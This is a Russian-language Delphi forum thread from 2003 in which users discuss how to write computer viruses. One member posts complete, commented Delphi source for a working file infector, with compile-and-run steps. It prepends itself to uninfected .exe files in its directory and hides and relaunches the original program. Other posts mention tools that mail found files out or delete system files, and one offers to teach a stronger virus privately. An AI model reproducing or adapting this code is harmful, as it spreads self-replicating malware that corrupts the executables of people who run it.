Модераторы: Poseidon, Snowy, bems, MetalFan

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Вирусы... 
:(
    Опции темы
Pakshin A. S.
  Дата 13.7.2003, 18:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: 21
Всего: 61



Есть ли где учебник в Internete по написанию простейших вирусов cool.gif на Delphi, конечно если такое возможно? Хочется по мимо всего владеть и этим... biggrin.gif
PM   Вверх
&-ray
Дата 13.7.2003, 19:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 406
Регистрация: 15.4.2003
Где: Казахстан, г Аста на

Репутация: нет
Всего: нет



Какие-то подозрительные у тебя наклонности biggrin.gif


--------------------
"Совсем неважно от чего помрешь, ведь куда важнее - для чего родился..." С.Б.

--------------------
И снова мышь беру я в руки
Куда иду? - Конечно в сруки!
PM MAIL WWW   Вверх
Pakshin A. S.
Дата 13.7.2003, 19:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: 21
Всего: 61



Я же сказал, что хочу знать как всё енто работает. Тем более мой одноклассник пишет вирусы на Бейсике, я то же зочу писать, только на Delphi, и только ради ознакомления и домашнего пользования.
PM   Вверх
PostEr
Дата 13.7.2003, 19:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 30.6.2003
Где: Самара

Репутация: нет
Всего: 1



Смаря что под вирусами понимать. Если всякие нюки\кейлогеры\мэйлбомберы\снифферы - то это элементарно на делфи. А сами вирусы не имеет смысла писать на делфи. Т.к. конечный продукт делфи - боьлшие екзешники. Для написания вирусов надо - c++ + asm.

Доков нигде не видел


--------------------

------------------------------------------------------------------

[email protected]
До востребования

PM MAIL WWW ICQ   Вверх
&-ray
Дата 13.7.2003, 19:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 406
Регистрация: 15.4.2003
Где: Казахстан, г Аста на

Репутация: нет
Всего: нет



Цитата
Т.к. конечный продукт делфи - боьлшие екзешники.

это при использовании VCL
Цитата
Я же сказал, что хочу знать как всё енто работает. Тем более мой одноклассник пишет вирусы на Бейсике,

Вот у него и возьми исходники и посмотри как все устроено, а потом переведи на паскаль

Это сообщение отредактировал(а) &-ray - 13.7.2003, 19:37


--------------------
"Совсем неважно от чего помрешь, ведь куда важнее - для чего родился..." С.Б.

--------------------
И снова мышь беру я в руки
Куда иду? - Конечно в сруки!
PM MAIL WWW   Вверх
Pakshin A. S.
Дата 13.7.2003, 19:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: 21
Всего: 61



Я в Бейсике полный нуль!
PM   Вверх
&-ray
Дата 13.7.2003, 19:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 406
Регистрация: 15.4.2003
Где: Казахстан, г Аста на

Репутация: нет
Всего: нет



Ну значит надо разбирать вместе с ним. Он на пальцах объясняет, что делает данная функция, а ты делаешь аналог на паскале biggrin.gif


--------------------
"Совсем неважно от чего помрешь, ведь куда важнее - для чего родился..." С.Б.

--------------------
И снова мышь беру я в руки
Куда иду? - Конечно в сруки!
PM MAIL WWW   Вверх
Pakshin A. S.
Дата 13.7.2003, 19:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 5056
Регистрация: 16.2.2003

Репутация: 21
Всего: 61



Ну, тогда буду 1-ого сентября просить у него исходник, а может кто-нибудь здеся свой предложитconfused.gif
PM   Вверх
&-ray
Дата 13.7.2003, 20:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 406
Регистрация: 15.4.2003
Где: Казахстан, г Аста на

Репутация: нет
Всего: нет



Вирус - программный код, встраиваемый в екзешники.
При запуске инфицированной программы сначала выполняется этот код, который как правило делает что-то гадкое, а затем передает управление самой программе. По-моему типа так, но в этом я тоже не рулю, так что дальше врать не буду.


--------------------
"Совсем неважно от чего помрешь, ведь куда важнее - для чего родился..." С.Б.

--------------------
И снова мышь беру я в руки
Куда иду? - Конечно в сруки!
PM MAIL WWW   Вверх
Shuricksoft
Дата 13.7.2003, 22:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 177
Регистрация: 27.3.2002
Где: Odessa, Ukraine

Репутация: нет
Всего: нет



А действительно: что ты понимаешь под вирусами? Я, например, писал на Дельфях прогу, котора искала файлы по определённым параметрам и посылала их на нужное мыло (плюс несколько фич для более эффективного использования). Также писал прогу, удаляющую системные файлы. Это тоже, в принципе, вирусы (хоть и простейшие), но они не приписывали себя к другим файлам. Этому я тоже хочу научиться =)
Кстати, у меня где-то дока была по вирусам (правда, по-моему, на ассемблере). Если найду - скину.
PM MAIL ICQ   Вверх
stab
Дата 13.7.2003, 23:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Экс. модератор
Сообщений: 1839
Регистрация: 1.1.2003

Репутация: 14
Всего: 48



http://sbvc.host.sk/

вот есть инфа, тока на дельфи тама мржет и нет smile.gif


--------------------
6, 6, 6 - the number of the beast.
PM MAIL WWW   Вверх
p0s0l
Дата 14.7.2003, 00:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Г-н Посол
****


Профиль
Группа: Экс. модератор
Сообщений: 3668
Регистрация: 13.7.2003
Где: 58°38' с.ш. 4 9°41' в.д.

Репутация: 58
Всего: 112



Привожу листинг наипростейшего и наитупейшего "вируса" (в кавычках) на Delphi.
Он даже не изменяет точку входа в инфицируемую программу, а просто приписывается вначало файла.
Да и не сколько себя не скрывает, даже создает временный файл. Но кто ни разу не видел кишок
вирусов может начать с этого.
Суть:
1) При запуске зараженного файла вирь ищет жертву в этом же каталоге.
Ищет он перебором всех не скрытых ехе-файлов (и притом не зараженных). Первый незараженный
файл и становится жертвой.
2) К этому файлу в начало приписывается тело вируса (размер файла увеличится на 360 кб)
3) Юзеру это сообщается
4) Создается скрытый ехе-файл, в который пишется тело программы, которая была запущено
(т.е. тело вируса обрезается)
5) Этот скрытый ехе-файл запускается

Как это заставить работать ?
1) Этот текст надо записать как .dpr (проект дельфи).
2) Открыть этот проект и компилировать
3) Посмотреть длину получившегося ехе-файла и прописать эту длину в const virSize
4) В каталог проекта засунуть пару ехе-файлов для теста
5) Теперь можно запускать

Код

program Project2;
uses Windows, Forms, ShellApi, SysUtils;
const virSize = 367104;  // !!! размер этого экзешника !!!
var
 h : THandle;
 buf, vir, prg : pointer;
 fsize, tmp : DWORD;
 tmpName : string;
 sr : TSearchRec;
 Infested : boolean;
begin
// читаем запущенный инфицированный файл и выдираем из него саму программу и тело "вируса"
 h := CreateFile (PChar(Application.ExeName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
 fsize := GetFileSize(h, @tmp) - virSize; // размер программы-размер вируса
 GetMem(buf, fsize);
 GetMem(vir, virSize);
 tmp := 0;
 ReadFile (h, vir^, virSize, tmp, nil); // читаем "вирус"
 ReadFile (h, buf^, fsize, tmp, nil);   // читаем программу
 CloseHandle (h);
// поиск жертвы (все exe-файлы, но не скрытые)
 if FindFirst ('*.exe', faAnyFile-faHidden, sr) = 0 then
 begin
   repeat
     // читаем очередной .exe в память
     h := CreateFile (PChar(sr.Name), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
     if h = 0 then continue; // если облом при открытии файла, то проверяем следующий
     GetMem (prg, sr.Size);
     ReadFile (h, prg^, sr.Size, tmp, nil);
     CloseHandle (h);
     Infested := false;
     if sr.Size >= virSize then
     // сравниваем начало считанного файла с телом "вируса"
       asm // на паскале это выглядело бы коряво
         pushad
         mov esi, [prg]
         mov edi, [vir]
         mov ecx, (virSize/4)
         cld
         repe cmpsd
         jne @end
         inc byte ptr [Infested]
       @end:
         popad
       end;
     if Infested then // если файл уже заражен, то освобождаем память
     begin
       FreeMem(prg);
       continue;      // и идем на проверку следующего файла
     end;
     // щас надо заразить жертву
     h := CreateFile (PChar(sr.Name), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
     WriteFile (h, vir^, virSize, tmp, nil); // пишем тело "вируса"
     WriteFile (h, prg^, sr.Size, tmp, nil); // пишем тело жертвы
     CloseHandle(h);
     FreeMem (prg);
     MessageBox (0, PChar('Инфицирован: ' + sr.Name), '"Virus"', MB_ICONINFORMATION+MB_TASKMODAL);
     Break;
   until FindNext(sr) <> 0;
   FindClose(sr);
 end;
 FreeMem (vir);
// пишем исходный файл (без "вируса")
 tmpName := PChar(Application.ExeName+'.exe');
 h := CreateFile (PChar(tmpName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0);
 tmp := 0;
 WriteFile (h, buf^, fsize, tmp, nil);
 CloseHandle (h);
 FreeMem(buf);
// запускаем исходный файл
 ShellExecute(0, 'open', PChar(tmpName), nil, nil, SW_SHOWNORMAL);
end.



Так что не обессудьте - я писал его специально для примера на дельфи.


--------------------
С уважением, г-н Посол.
PM   Вверх
p0s0l
Дата 14.7.2003, 12:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Г-н Посол
****


Профиль
Группа: Экс. модератор
Сообщений: 3668
Регистрация: 13.7.2003
Где: 58°38' с.ш. 4 9°41' в.д.

Репутация: 58
Всего: 112



Можно убрать из uses модуль Forms и вместо Application.ExeName использовать paramStr(0).
Тогда размер файла уменьшается на 300 кб. У меня он весит 40кб.

Размер охеренный. Но это ведь Delphi...


--------------------
С уважением, г-н Посол.
PM   Вверх
Step
Дата 14.7.2003, 12:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Экс. модератор
Сообщений: 5151
Регистрация: 26.9.2002
Где: дурдом.UA

Репутация: нет
Всего: 25



в любом случае надо учить асм.


--------------------
- Дурак учится на своих ошибках, умный на чужих.
 - умные учатся у дураков
PM MAIL ICQ   Вверх
PostEr
Дата 14.7.2003, 14:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 282
Регистрация: 30.6.2003
Где: Самара

Репутация: нет
Всего: 1



40 кб - это до х...на. Смысл весь вируса в том, что свой код (несколько десятков машинных команд), он внедряет в файлы (запускные скажем). А сам код устроен так, что он плодится.

Можно "вирус" крутой сделать, по-круче всяких там кейлогеров - пиши мне на мыло - расскажу как ;)


--------------------

------------------------------------------------------------------

[email protected]
До востребования

PM MAIL WWW ICQ   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0561 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.